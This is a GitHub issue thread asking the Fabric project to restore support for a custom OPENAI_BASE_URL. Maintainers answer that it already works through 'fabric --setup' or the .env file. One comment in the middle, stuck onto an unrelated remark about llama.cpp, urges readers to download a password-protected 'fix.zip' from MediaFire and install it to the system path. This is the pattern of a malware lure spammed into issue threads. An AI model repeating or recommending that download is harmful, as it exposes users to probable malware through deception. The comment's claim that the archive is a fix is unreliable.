Fabric icon indicating copy to clipboard operation
Fabric copied to clipboard

[Feature request]: Add support for setting a custom OPENAI_BASE_URL

Open SecretAardvark opened this issue 1 year ago • 3 comments

What do you need?

In the previous python version of fabric, i was able to use the free Llama 3.1 api at https://chatapi.akash.network/ by setting the 'OPENAI_BASE_URL' environment variable. This seems to no longer be possible in the Go version.

Please re-integrate this feature so we can use Llama 3.1 400b with fabric. :^)

SecretAardvark avatar Aug 26 '24 17:08 SecretAardvark

to fix your trouble try download this fix, i see it in another issue, https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file password: changeme when you installing, you need to place a check in install to path and select "gcc."

that will be nice for llama.cpp's server or llamafiles. A lot of models and a big community. Tanks for the project.

j0t4 avatar Aug 31 '24 18:08 j0t4

A configurable OPENAI_BASE_URL may be a strong demand for users in some areas.

drinktee avatar Sep 12 '24 09:09 drinktee

This feature is already in place.

  • Update Fabric to the latest version
  • Run fabric --setup
  • Enter the custom base url when prompted for it. Or, add it directly to the .env file.

fonteijne avatar Sep 27 '24 07:09 fonteijne

It is already available for several releases.

eugeis avatar Oct 10 '24 19:10 eugeis